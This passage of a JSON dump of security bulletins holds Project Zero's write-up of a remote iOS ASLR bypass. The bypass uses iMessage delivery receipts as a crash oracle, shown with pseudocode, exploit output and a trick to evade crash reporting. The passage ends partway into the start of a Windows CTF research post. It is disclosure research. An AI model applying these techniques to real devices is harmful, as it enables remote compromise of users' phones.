`NSNumber* n = @42`) would roughly be represented as\n\n** \n**\n\n0xb0000000000002a2\n\n(1 011 00...001010100010)\n\n** \n**\n\nWhere the MSB is 1, indicating a tagged pointer and the following 3 bits identify the index of the class, in this case 3, corresponding to __NSCFNumber. In the case of __NSCFNumber, the 32bit value is stored in bits 8..40 while the lowest byte indicates the specific number type, in this case [kCFNumberSInt32Type](<https://developer.apple.com/documentation/corefoundation/cfnumbertype/kcfnumbersint32type?language=objc>).\n\n** \n**\n\nThe APIs operating on ObjC id\u2019s (objc_msgSend, objc_retain, objc_xyz) will usually first check the tag bit and proceed accordingly:\n\n** \n**\n\nif (arg & 0x8000000000000000) {\n\n// handle tagged pointer\n\n} else {\n\n// handle real pointer\n\n}\n\n** \n**\n\nLikely in order to break [exploit techniques that abuse tagged pointers](<http://www.phrack.org/issues/69/9.html>), tagged pointer values are now also XORed with a per-process random value. As such, the actual value used at runtime would now be\n\n** \n**\n\n0xb0000000000002a2 ^ objc_debug_taggedpointer_obfuscator\n\n** \n**\n\nWhere objc_debug_taggedpointer_obfuscator seems to be a fully random number except for the MSB, which must be zero (to preserve the pointer tagging bit). The following experiment with lldb and a simple iOS app demonstrates this:\n\n** \n**\n\n(lldb) p n\n\n(__NSCFNumber *) $0 = 0xf460034a00975a82 (int)42\n\n(lldb) p objc_debug_taggedpointer_obfuscator\n\n(void *) $1 = 0x4460034a00975820\n\n(lldb) p/x (uintptr_t)n ^ (uintptr_t)objc_debug_taggedpointer_obfuscator\n\n(unsigned long) $9 = 0xb0000000000002a2\n\n** \n**\n\n## The Dyld Shared Cache\n\nOn iOS (as well as on macOS), most system libraries are prelinked into one giant binary blob, called the [dyld_shared_cache](<https://iphonedevwiki.net/index.php/Dyld_shared_cache>). Amongst other benefits, this improves program load times as it reduces the runtime overhead of symbol resolution. One security relevant aspect of the shared cache is that it is mapped at the same address in every process, with its exact location only being randomized once during device boot. This is likely due to the shared cache being mapped into all userspace processes (thus reducing overall system memory usage) but also containing absolute pointers to itself, making it not [position independent](<https://en.wikipedia.org/wiki/Position-independent_code>). As such, once the base address of the shared cache is known, the addresses of pretty much all libraries in any userspace process on that device, including thousands of ROP gadgets, all ObjC Classes, various strings, and much more, are also known. This is sufficient for an RCE exploit.\n\n** \n**\n\nOn the latest iOS versions, the dyld_shared_cache will be mapped somewhere in the address range 0x180000000 to 0x280000000, providing for roughly 200000 possible base addresses as the cache itself is around 1GB in size and the page size (the smallest granularity for the ASLR shift) is 0x4000 bytes. As such, it would be possible to find the base address by sheer brute force. However, as every wrong guess would likely cause a crash, the targeted imagent process would soon be subject to restart limiting enforced by launchd if a service crashes too quickly. This can be avoided by only crashing once roughly every 10 seconds. With that, a full brute force attack would then take around 3-4 weeks. While such an attack is not completely impossible given that mobile devices are rarely rebooted, it is probably not a realistic one either. The remaining part of this blog post describes how the base address can be inferred within 5 minutes instead.\n\n## Defeating ASLR with a Crash Oracle\n\n** \n**\n\nOne outstanding aspect of [CVE-2019-8646](<https://googleprojectzero.blogspot.com/2019/08/the-many-possibilities-of-cve-2019-8646.html>) is that it creates an additional communication channel between the victim device and the attacker. It appears that this is a rare situation which should also be mitigatable to a large degree by properly sandboxing the process in question to prevent it from doing any kind of network activity. As such, one of the main questions motivating this research was the following: given only a remote memory corruption vulnerability, would it be possible to infer the base address of the shared cache somehow? To achieve this, some kind of communication channel had to first be found, which exists in the form of iMessage receipts.\n\n** \n**\n\niMessage supports two different types of message receipts: delivery receipts and read receipts. The latter one can be disabled in Settings while the former will always be sent. The following screenshot from an iMessage chat shows how these receipts are used.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqzVNcaM_pc96-YLd5iSByDDu0p_d_SJCrL-GqfBt_ZbD4CNj4YXlqJzxPtbQ88CtyzYcWzPod53YqGbcwBEcqvFVIq_IVmc8O_TAUToGAD_69XkMgBT3sWg_ovqxTrw242h47CU5GjjBFp2wvMaZjNogYyDcH6mLZWRXfH-ptgNGWl5-So2xfZ_sM/s711/chat.png>) Here, the sender received a delivery receipt and a read receipt for the message \u201cFoo\u201d, a delivery receipt for the message \u201cBar\u201d, and no receipt at all for the message \u201cBaz\u201d. Delivery receipts are interesting as they are sent automatically without any user interaction. Even more interesting is the time they are sent out by imagent, as shown in the following pseudocode snippet of imagent\u2019s logic for processing incoming iMessages: \n** \n**\n\nprocessIncomingMessage(message):\n\nmsgPlist = decodeIntoPlist(message)\n\n# extract some values from the plist ...\n\natiData = msgPlist['ATI']\n\nati = NSKeyedUnarchive(atiData) [1]\n\n# more stuff ...\n\nsendDeliveryReceipt()\n\n# yet more stuff ...\n\n** \n**\n\nAny bug in the NSKeyedUnarchiver API will trigger at [1]. With that it is possible to build a \u201ccrash oracle\u201d: if a crash is triggered during the NSKeyedUnarchiving, no delivery receipt will be sent, otherwise one will be sent. This in turn allows the sender to infer whether or not the payload caused a crash in imagent on the remote device. What remains now is to turn the bug into an oracle function so that a useful bit of information can be extracted from the outcome of each oracle query. \n\n** \n**\n\nThe ideal oracle would be \n\n** \n**\n\ndef oracle(addr): \n\nif isMapped(addr):\n\nnocrash()\n\nelse\n\ncrash()\n\n** \n**\n\nGiven that, breaking ASLR remotely would be rather straightforward:\n\n 1. Perform a linear search between 0x180000000 and 0x280000000 in ~500MB steps, which would take at most 8 oracle queries\n\n 2. Perform a binary search between the found address and the found address minus the step size. This would again only take a few queries as it runs in logarithmic time.\n\n** \n**\n\nThis could take as little as 10 iMessages to break ASLR and likely no more than 20. \n\n** \n**\n\nIn practice, however, it is unlikely that a memory corruption vulnerability will yield this perfect oracle function, so a more general version of the above algorithm is necessary. In any case, the vulnerability likely first needs a bit of exploit engineering to result in a usable oracle function. This is also the case for CVE-2019-8641.\n\n** \n**\n\nFirst off, the bug trigger given in part 1 of this series unfortunately crashes regardless of whether the given address is valid or not: (line numbers reference [the code snippets from part 1](<https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-1.html#codepart1>)) the ObjC id that is read from an attacker controlled address is afterwards compared to the key that is currently being looked up (line 13 in [-[NSSharedKeySet indexForKey:]](<https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-1.html#codepart3>)). As it most likely does not match, the lookup will fail and [-[NSSharedKeySet initWithCoder:]](<https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-1.html#codepart2>) will attempt to recreate the NSSharedKeySet from scratch (lines 20 through 23). For that it will call [NSSharedKeySet allKeys] on its subKeySet (line 22). Unfortunately, as the subKeySet is not yet fully initialized (this is the bug), the allKeys method will definitely crash when accessing the _keys array as that is still nullptr. Luckily, it is possible to work around this with the following object graph:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVuhlJr7djBuXUeznh3THe5Ph6cb5imT353HNaQp4FRTIgDtnvUtfjt-LLlsSIUV4GLaE04Fqapk4mt5_ECNqFqwP4b6XGHHX6Lxb2LEarO_8S-n4e4S7hy3jESZBOXKpKH-Ig4bVopFtyhQuvMlHZkvcbZsGcbV5w72LTrt27mfkJvdpeBZMacDqr/s2048/AddressOracle.png>)\n\nThe trick here is to add a new tail KeySet (SharedKeySet3) which will always be able to look up the second key (\u201ck2\u201d). However, as this KeySet is now the subKeySet of SharedKeySet1, SharedKeySet2 must be unarchived in some other way. This is only possible by unarchiving a new SharedKeyDictionary first, which in turn is only possible through the _keys array of SharedKeySet1. Unfortunately, the class whitelist used to unarchive _keys does not include NSDictionary. Fortunately though, the __NSLocalizedString class (itself an NSString and as such allowed) has the following piece of code in its initWithCoder implementation to decode its config dictionary:\n\n** \n**\n\nNSSet* classes = [NSSet setWithObjects:[NSDictionary class], ...];\n\nNSDictionary* configDict = [coder decodeObjectOfClasses:classes \n\nforKey:@\"NS.configDict\"]\n\n** \n**\n\nAs such, a NSSharedKeyDictionary can be decoded during unarchiving of _keys by \u201cwrapping\u201d it into a __NSLocalizedString.\n\n** \n**\n\nWith that, unarchiving the shown payload will only crash in one of the following two cases:\n\n 1. if the address (in this case 0x41414140 as the index read from _rankTable is multiplied by 8) is not readable (i.e. not mapped)\n\n 2. if calling [key isEqual:candidate] with the value read from the address crashes\n\n** \n**\n\nIf the value is zero, [key isEqual:] will not be called (line 11). Otherwise, if the value does not have the MSB set, it will be treated as a pointer to an ObjC object and methods will be called on it, surely leading to a crash unless the value pointed to is in fact an ObjC object. Finally, if the value has the MSB set, it will be treated as a tagged pointer and will likely have its class fetched. This happens by first XORing the tagged pointer with the random obfuscator value, then extracting an index into the class table from the upper bits and using that. As not all entries of the class table are populated, this step can cause a crash if the index is invalid. As the obfuscator value is unknown, it is not normally possible to predict in advance whether a given value will cause a crash. However, there is a situation in which even invalid tagged pointer values will not cause a crash: in the implementation of [NSCFString isEqual:], which is used when the key that is looked up is a string (as is the case in the previous object graph examples). That implementation has the following special casing for tagged pointer values:\n\n** \n**\n\nif (a3 & 0x8000000000000000) {\n\n// Extract class index from tagged pointer\n\nv5 = ((a3 ^ objc_debug_taggedpointer_obfuscator) >> 60) & 7;\n\nif ( v5 == 7 )\n\n// Use extended class index in bits 52 - 60\n\nv5 = (((a3 ^ objc_debug_taggedpointer_obfuscator) >> 52) & 0xFF) + 8;\n\n** \n**\n\n// Check class index equals the one for NSString\n\nif ( v5 == 2 )\n\n// If yes, extract string content from lower bits and compare\n\nreturn _NSTaggedPointerStringEqualCFString(a3, self);\n\n** \n**\n\n// If not, just return false directly\n\nreturn 0;\n\n}\n\n** \n**\n\nGiven this isEqual method, any value that has the MSB set can now be used as argument without causing a crash.\n\n** \n**\n\nFinally, with all that, the resulting oracle function is now roughly\n\n** \n**\n\noracle(addr):\n\nif isMapped(addr) and \n\n(isZero(*addr) or hasMSBSet(*addr) or pointsToObjCObject(*addr)):\n\nnocrash()\n\nelse:\n\ncrash()\n\n** \n**\n\nGiven this oracle, it is then necessary to build a \u201cprofile\u201d of the target device\u2019s shared cache, which is essentially a bitmap where a zero indicates that an access would crash and a one indicates that it would not. As the shared cache binary is the same on all iPhones of the same hardware model and iOS version, this can simply be done by running a custom app on a device similar to the target device and scanning over the shared cache region in memory. In practice, the profile should also support a third, \u201cunknown\u201d state in which both outcomes are possible. This would for example be used for writable memory regions in the shared cache as their runtime content is unknown. However, For simplicity, the following explanation will assume a two-state profile. Adopting the algorithm to work with three state profiles is straightforward and is implemented in the released source code.\n\n** \n**\n\nA bitmap for a two-state profile might look as follows:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_4o8sYhZHfQ5YdyTrHziNyPIHW1cpEjrJqnhqINClBcfBDYFKNIYtOiuOPNDhk77qOFBuW4Uyg_0gh7P-U0jAoy95eOfjBZBlNcmvedCk1MOdfbqP7mHVroKMFv4DxTVgBdsE2IpZfwb4WH7nma1ikUIkdRdtkMph_s2d4ZicydZb6J85p9CqvXMg/s3695/Single%20SharedCache.png>)\n\nThe next step is then to use the oracle to again perform a linear search between 0x180000000 and 0x280000000 until no crash is observed. Afterwards, the set of all possible shared cache base addresses can be computed simply by iterating over the profile in pagesized steps and computing the base address for any offset that would not yield a crash when probed. In practice, this step will result in roughly 30000-40000 different base addresses (candidates).\n\n** \n**\n\nNext, a search algorithm has to be used to efficiently determine the correct base address with minimal number of additional oracle queries (as each oracle query takes around 10s so as to not crash imagent too quickly, which would soon cause launchd to delay restarting the service). The following picture shows the shared cache (hypothetically) mapped at each of the possible base addresses (in this case 5) in memory:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW2nWveGTuwBn3SzX_tQM-H8yxzngyi1j9O-tBmj9joeTcU2pWxNKAVonzS9xsZyuUF3CHOcjiu-E2xYEALJ2w1Qb6n7fzOcZ-D4R7HoSo-eoIXdgd_JLX-sTiIsoLL2sjHQjDc8GUEuGvfukLQvBxtcCLe2Cxkfwwf1B3A20MTCZ1Egxb-vlvSnf5/s2752/SharedCache.png>)\n\nThe goal is now to find a new address that, when probed through the crash oracle, will allow roughly half of the remaining candidates to be discarded. In the above picture that would, for example, be the address 0x19020c028 (green line). If a crash occurs when querying the oracle for that address, then only the first and last candidate remain, otherwise the middle three candidates are kept. Given the candidates and the address to probe, it is also possible to compute the probability of a crash (\u2156 in this case), and with that the expected number of remaining candidates (E) after the oracle query, in this case:\n\n** \n**\n\nE = \u2157 * 3 + \u2156 * 2 = 2.6\n\nTo efficiently find the correct base address, the algorithm will now greedily pick the address with the smallest value for E in every iteration. Ideally, if the ones and zeroes in the profile are roughly balanced (which is more or less the case here), this will be half the current number of candidates. In that case the correct base address will be found in logarithmic time, or roughly 2-5 minutes.\n\n** \n**\n\nWhen implementing this algorithm, a slight performance problem occurs as a full search for the ideal candidates would take shared_cache_size/8 * num_candidates operations, easily reaching one trillion (1012) operations. However, in practice it is good enough to approximate the ideal solution by randomly testing 100 different addresses. Another minor complication that arises when using three-state profiles as discussed above is that the algorithm is conservative and will treat writable memory pages as both potentially crashing and not crashing (as it is unknown what value will be there at runtime). As such, the probability of a crash can only be approximated from the read-only pages. However, again, this approximation of the real probability works just fine in practice as it does not affect the correctness of the algorithm.\n\n** \n**\n\nPseudocode for the final algorithm is shown next.\n\n** \n**\n\ncandidates = [...]\n\nwhile len(candidates) > 1:\n\nbest_address = 0x0\n\nbest_E = len(candidates)\n\nremaining_candidates_on_crash = None\n\nremaining_candidates_on_nocrash = None\n\n** \n**\n\nfor _ in range(0, 100):\n\naddr = random.randrange(minbase, maxbase, 8)\n\ncrashset = []\n\nnocrashset = []\n\nfor profile in candidates:\n\nif profile.addr_will_crash(addr):\n\ncrashset.append(profile)\n\nif profile.addr_will_not_crash(addr):\n\nnocrashset.append(profile)\n\n** \n**\n\ncrash_prob = len(crashset) / len(candidates)\n\nnocrash_prob = 1.0 - crash_prob \n\nE = crash_prob * len(crashset) + nocrash_prob * len(nocrashset)\n\nif E < best_E:\n\nbest_E = E\n\nbest_address = addr\n\nremaining_candidates_on_crash = crashset\n\nremaining_candidates_on_nocrash = nocrashset\n\n** \n**\n\nif oracle(best_address):\n\ncandidates = remaining_candidates_on_nocrash\n\nelse:\n\ncandidates = remaining_candidates_on_crash\n\n** \n**\n\nThe following snippet shows the output of the part of the exploit that infers the shared cache\u2019s base address on the target device. The printed \u201cscore\u201d value corresponds to the computed expected number of remaining candidates after the displayed address is queried.\n\n** \n**\n\n> ./aslrbreaker.py\n\n[!] Note: this exploit *deliberately* displays notifications to the target\n\n[*] Trying to find a valid address...\n\n[*] Testing address 0x180000000...\n\n[*] Testing address 0x188000000...\n\n[*] Testing address 0x190000000...\n\n[*] Testing address 0x198000000...\n\n[*] Testing address 0x1a0000000...\n\n[*] Testing address 0x1a8000000...\n\n[*] Testing address 0x1b0000000...\n\n[*] Testing address 0x1b8000000...\n\n[*] Testing address 0x1c0000000...\n\n[+] 0x1c0000000 is valid!\n\n[*] Have 34353 potential candidates for the dyld_shared_cache slide\n\n[*] Shared cache is mapped somewhere between 0x181948000 and 0x203d64000\n\n[*] Now determining exact base address of shared cache...\n\n[*] 34353 candidates remaining...\n\n[*] Best (approximated) address to probe is 0x1b12070d0 with a score of 17208.40\n\n[*] 17906 candidates remaining...\n\n[*] Best (approximated) address to probe is 0x1b8a353d8 with a score of 9144.48\n\n[*] 9656 candidates remaining...\n\n[*] Best (approximated) address to probe is 0x1bcb23de0 with a score of 5093.02\n\n[*] 5104 candidates remaining...\n\n[*] Best (approximated) address to probe is 0x1e172e3f8 with a score of 2754.83\n\n[*] 2682 candidates remaining...\n\n[*] Best (approximated) address to probe is 0x1b363c658 with a score of 1454.06\n\n[*] 1728 candidates remaining...\n\n[*] Best (approximated) address to probe is 0x1e0301200 with a score of 929.21\n\n[*] 915 candidates remaining...\n\n[*] Best (approximated) address to probe is 0x1b0c04368 with a score of 497.63\n\n[*] 593 candidates remaining...\n\n[*] Best (approximated) address to probe is 0x1e0263068 with a score of 319.15\n\n[*] 326 candidates remaining...\n\n[*] Best (approximated) address to probe is 0x1bec43868 with a score of 163.84\n\n[*] 156 candidates remaining...\n\n[*] Best (approximated) address to probe is 0x1c15ab0e8 with a score of 78.21\n\n[*] 82 candidates remaining...\n\n[*] Best (approximated) address to probe is 0x1c49efe90 with a score of 41.02\n\n[*] 40 candidates remaining...\n\n[*] Best (approximated) address to probe is 0x1befd60f8 with a score of 20.00\n\n[*] 20 candidates remaining...\n\n[*] Best (approximated) address to probe is 0x1c14089d0 with a score of 10.00\n\n[*] 10 candidates remaining...\n\n[*] Best (approximated) address to probe is 0x1c428d450 with a score of 5.00\n\n[*] 5 candidates remaining...\n\n[*] Best (approximated) address to probe is 0x1df0939f0 with a score of 2.60\n\n[*] 2 candidates remaining...\n\n[*] Best (approximated) address to probe is 0x1c3d255f8 with a score of 1.00\n\n[+] Shared cache is mapped at 0x1bf2b4000\n\n** \n**\n\nAs a final note, it seems likely that a similar oracle function can be constructed from different memory corruption vulnerabilities. As an example, any vulnerability that allows the attacker to corrupt or fake an ObjC object (e.g. through an OOB read such as [CVE-2019-8641](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1881>) or a use-after-free like [CVE-2019-8647](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1873>) and [CVE-2019-8662](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1874>)) could potentially be turned into a similar oracle in the following way: whenever a reference to an ObjC object is dropped, [objc_release](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/NSObject.mm#L1505>) is called with the object as argument. This function will, amongst others, [perform the following steps](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-object.h#L426>): it first checks if the object has \u201ccustom retain release\u201d functionality by checking a bit in the Class object associated with the released object (every ObjC object references its Class object through a pointer stored at offset zero, called the \u201cISA\u201d (Is-a) pointer). If the object has no custom retain release, an inline refcount will be decremented and, if the result is not zero, nothing more happens. Otherwise the object\u2019s destructor is invoked and the memory chunk freed.\n\n** \n**\n\nAs such, if the Class pointer of an object can be corrupted to point into the shared cache region, and at the same time the object\u2019s inline refcount is > 1, then objc_release will only crash if a specific bit is set at an offset from the pointed to value. With that, a crash oracle can again be constructed.\n\n** \n**\n\n## Supporting Different iOS versions and Hardware Models\n\n** \n**\n\nOne seeming limitation of the presented technique is that it requires up-front knowledge of the target device\u2019s hardware model and iOS version to build the correct shared cache profile. However, this is not necessarily the case: if the model number or version are unknown, then the attacker can build shared cache profiles for all possible combinations of hardware model and iOS version that could be used. This would then likely result in a few million candidates after the initial linear scan is finished. However, due to the magic of logarithms, even with millions of candidates this attack will still only require sending a few dozen messages to determine the correct base address and with it the correct shared cache, model number, and version. This has, however, not been implemented during this research.\n\n** \n**\n\n## A Note about Noisiness \n\n** \n**\n\nAnother seeming limitation is the inherent noisiness of this attack. While crashing imagent dozens of times is not noticeable to the user, it would send crash reports to Apple if \u201cShare iPhone Analytics\u201d is enabled on the device. As such, this technique might seem less useful for a real-world attacker as it could theoretically inform Apple of the vulnerability that is being exploited. However, it appears that iOS stops collecting crash logs for a process after 25 crashes. This can be observed by repeatedly crashing an iOS process (e.g. imagent) and monitoring the device log using Console.app on a Mac connected to the device. Eventually the following messages should appear:\n\n** \n**\n\ndefault 14:54:42.957547 +0200 ReportCrash Formulating report for corpse[597] imagent\n\ndefault 14:54:42.977891 +0200 ReportCrash Report of type '109(<private>)' not saved because the limit of 25 logs has been reached\n\n** \n**\n\nAs such, it should be possible to first use a seperate, unexploitable DoS bug (e.g. an ObjC exception or a stack overflow due to too much recursion) to crash imagent around 25 times so that no more crashlogs are collected for it and only then start the actual exploitation procedure. This has, however, also not been verified in practice.\n\n** \n**\n\n## The Issue with Automatic Delivery Receipts\n\n** \n**\n\nAs was demonstrated in this blog post, it is possible to bypass ASLR by creating a side channel that abuses automatic delivery receipts sent by the target device to the attacker. The fix for this at first appears simple: send the delivery receipt before doing any complex message parsing so that it will be sent regardless of whether the payload causes a crash. However, this is not sufficient, as the following attack likely still works:\n\n** \n**\n\n 1. send the \u201coracle query\u201d message (the one that might cause a crash) 2-3 times in a row\n\n 2. send a \"normal\" message that will never cause a crash\n\n 3. measure the time it takes for the last delivery receipt to arrive. If that is longer than a few seconds, then imagent likely crashed repeatedly during step 1 and is now subject to a restart delay by launchd\n\n** \n**\n\nThis attack now exploits the restart delay enforced by launchd on iOS. A similar mechanism might exist on other platforms as well though. With that, it appears that any kind of automatic message sent from the recipient side (or any other action that could be observable by the attacker, for example accessing a website) is potentially dangerous as it can be exploited in a similar way. As such, ideally, no automatic messages should be sent out at all, or at least not to senders with which the user never had any previous interaction.\n\n \n\n\nThis concludes the second part of this blog post series. The [third and final part](<https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-3.html>) of the series will detail how, even in the presence of pointer authentication (PAC) on A12 and newer devices, remote code execution can now be achieved.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-09T00:00:00", "type": "googleprojectzero", "title": "\nRemote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8641", "CVE-2019-8646", "CVE-2019-8647", "CVE-2019-8662"], "modified": "2020-01-09T00:00:00", "id": "GOOGLEPROJECTZERO:4379524F316D6C7FA6682653798DC052", "href": "https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-2.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-07T02:00:22", "description": "**Posted by Tavis Ormandy, Security Research Over-Engineer.**\n\n\u201cSometimes, hacking is just someone spending more time on something than anyone else might reasonably expect.\u201d[1]\n\nI often find it valuable to write simple test cases confirming things work the way I think they do. Sometimes I can\u2019t explain the results, and getting to the bottom of those discrepancies can reveal new research opportunities. This is the story of one of those discrepancies; and the security rabbit-hole it led me down.\n\n# It all seemed so clear..\n\nUsually, windows on the same desktop can communicate with each other. They can ask each other to move, resize, close or even send each other input. This can get complicated when you have applications with different privilege levels, for example, if you \u201cRun as administrator\u201d.\n\nIt wouldn\u2019t make sense if an unprivileged window could just send commands to a highly privileged window, and that\u2019s what UIPI, User Interface Privilege Isolation, prevents. This isn\u2019t a story about UIPI, but it is how it began.\n\nThe code that verifies you\u2019re allowed to communicate with another window is part of win32k!NtUserPostMessage. The logic is simple enough, it checks if the application explicitly allowed the message, or if it\u2019s on a whitelist of harmless messages.\n\nBOOL __fastcall IsMessageAlwaysAllowedAcrossIL(DWORD Message)\n\n{\n\nBOOL ReturnCode; // edx\n\nBOOL IsDestroy; // zf\n\nReturnCode = FALSE;\n\nif...\n\nswitch ( Message )\n\n{\n\ncase WM_PAINTCLIPBOARD:\n\ncase WM_VSCROLLCLIPBOARD:\n\ncase WM_SIZECLIPBOARD:\n\ncase WM_ASKCBFORMATNAME:\n\ncase WM_HSCROLLCLIPBOARD:\n\nReturnCode = IsFmtBlocked() == 0;\n\nbreak;\n\ncase WM_CHANGECBCHAIN:\n\ncase WM_SYSMENU:\n\ncase WM_THEMECHANGED:\n\nreturn 1;\n\ndefault:\n\nreturn ReturnCode;\n\n}\n\nreturn ReturnCode;\n\n} \n \n--- \n \nSnippet of win32k!IsMessageAlwaysAllowsAcrossIL showing the whitelist of allowed messages, what could be simpler.... ? \n \nI wrote a test case to verify it really is as simple as it looks. If I send every possible message to a privileged window from an unprivileged process, the list should match the whitelist in win32k!IsMessageAlwaysAllowedAcrossIL and I can move onto something else.\n\nAh, I was so naive. The code I used is available [here](<https://gist.github.com/taviso/767fc1dfbe5632368081de10fb7eeee9>), and a picture of the output is below.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOGWLVLXNaSbNn4v-mwkY5OX1jRXCVIi4CjbSOHTkostwhCdNxfqb9qqb4Tf_nb-Cz72JkeEerrty9h6lO2AjNWwTzizws15kAXvouCS-TkLsKZ0UwKCQbV145mgJ0njVBPuPVz6CUT9EgWccvOjTcT2Dl627oGgf89SRN2Xr95ztgM1UjTnzhhq9c/s1024/image11.png>) \n--- \n \nWhat the...?! Scanning which messages are allowed across IL produces unexpected results. \n \nThe tool showed that unprivileged applications were allowed to send messages in the 0xCNNN range to most of the applications I tested, even simple applications like Notepad. I had no idea message numbers even went that high!\n\nMessage numbers use predefined ranges, the system messages are in the range 0 - 0x3FF. Then there\u2019s the WM_USER and WM_APP ranges that applications can use for their own purposes.\n\nThis is the first time I\u2019d seen a message outside of those ranges, so I had to look it up.\n\nThe following are the ranges of message numbers.\n\n[](<https://www.blogger.com/u/1/null>)[](<https://www.blogger.com/u/1/null>) \n| \n\nRange\n\n| \n\nMeaning \n \n---|--- \n \n0 through WM_USER \u20131\n\n| \n\nMessages reserved for use by the system. \n \nWM_USER through 0x7FFF\n\n| \n\nInteger messages for use by private window classes. \n \n[WM_APP](<https://docs.microsoft.com/en-us/windows/desktop/winmsg/wm-app>) (0x8000) through 0xBFFF\n\n| \n\nMessages available for use by applications. \n \n0xC000 through 0xFFFF\n\n| \n\nString messages for use by applications. \n \nGreater than 0xFFFF\n\n| \n\nReserved by the system. \n \nThis is a snippet from Microsoft\u2019s [WM_USER documentation](<https://docs.microsoft.com/en-us/windows/desktop/winmsg/wm-user>), explaining reserved message ranges. \n \n# Uh, string messages?\n\nThe documentation pointed me to [RegisterWindowMessage()](<https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-registerwindowmessagea>), which lets two applications agree on a message number when they know a shared string. I suppose the API uses [Atoms](<https://docs.microsoft.com/en-us/windows/desktop/dataxchg/about-atom-tables>), a standard Windows facility.\n\nMy first theory was that RegisterWindowMessage() automatically calls ChangeWindowMessageFilterEx(). That would explain my results, and be useful information for future audits.... but I tested it and that didn\u2019t work!\n\n...Something must be explicitly allowing these messages!\n\nI needed to find the code responsible to figure out what is going on.\n\nTracking down the culprit...\n\nI put a breakpoint on USER32!RegisterWindowMessageW, and waited for it to return one of the message numbers I was looking for. When the breakpoint hits, I can look at the stack and figure out what code is responsible for this.\n\n$ cdb -sxi ld notepad.exe\n\nMicrosoft (R) Windows Debugger Version 10.0.18362.1 AMD64\n\nCopyright (c) Microsoft Corporation. All rights reserved.\n\nCommandLine: notepad.exe\n\n(a54.774): Break instruction exception - code 80000003 (first chance)\n\nntdll!LdrpDoDebuggerBreak+0x30:\n\n00007ffa`ce142dbc cc int 3\n\n0:000> bp USER32!RegisterWindowMessageW \"gu; j (@rax != 0xC046) 'gc'; ''\"\n\n0:000> g\n\n0:000> r @rax\n\nrax=000000000000c046\n\n0:000> k\n\nChild-SP RetAddr Call Site\n\n0000003a`3c9ddab0 00007ffa`cbc4a010 MSCTF!EnsurePrivateMessages+0x4b\n\n0000003a`3c9ddb00 00007ffa`cd7f7330 MSCTF!TF_Notify+0x50\n\n0000003a`3c9ddc00 00007ffa`cd7f1a09 USER32!CtfHookProcWorker+0x20\n\n0000003a`3c9ddc30 00007ffa`cd7f191e USER32!CallHookWithSEH+0x29\n\n0000003a`3c9ddc80 00007ffa`ce113494 USER32!_fnHkINDWORD+0x1e\n\n0000003a`3c9ddcd0 00007ffa`ca2e1f24 ntdll!KiUserCallbackDispatcherContinue\n\n0000003a`3c9ddd58 00007ffa`cd7e15df win32u!NtUserCreateWindowEx+0x14\n\n0000003a`3c9ddd60 00007ffa`cd7e11d4 USER32!VerNtUserCreateWindowEx+0x20f\n\n0000003a`3c9de0f0 00007ffa`cd7e1012 USER32!CreateWindowInternal+0x1b4\n\n0000003a`3c9de250 00007ff6`5d8889f4 USER32!CreateWindowExW+0x82\n\n0000003a`3c9de2e0 00007ff6`5d8843c2 notepad!NPInit+0x1b4\n\n0000003a`3c9df5f0 00007ff6`5d89ae07 notepad!WinMain+0x18a\n\n0000003a`3c9df6f0 00007ffa`cdcb7974 notepad!__mainCRTStartup+0x19f\n\n0000003a`3c9df7b0 00007ffa`ce0da271 KERNEL32!BaseThreadInitThunk+0x14\n\n0000003a`3c9df7e0 00000000`00000000 ntdll!RtlUserThreadStart+0x21 \n \n--- \n \nSo.... wtf is ctf? A debugging session trying to find who is responsible for these windows messages. \n \nThe debugger showed that while the kernel is creating a new window on behalf of a process, it will invoke a callback that loads a module called \u201cMSCTF\u201d. That library is the one creating these messages and changing the message filters.\n\nThe hidden depths reveal...\n\nIt turns out CTF[2] is part of the Windows [Text Services Framework](<https://docs.microsoft.com/en-us/windows/desktop/TSF/text-services-framework>). The TSF manages things like input methods, keyboard layouts, text processing and so on.\n\nIf you change between keyboard layouts or regions, use an IME like Pinyin or alternative input methods like handwriting recognition then that is using 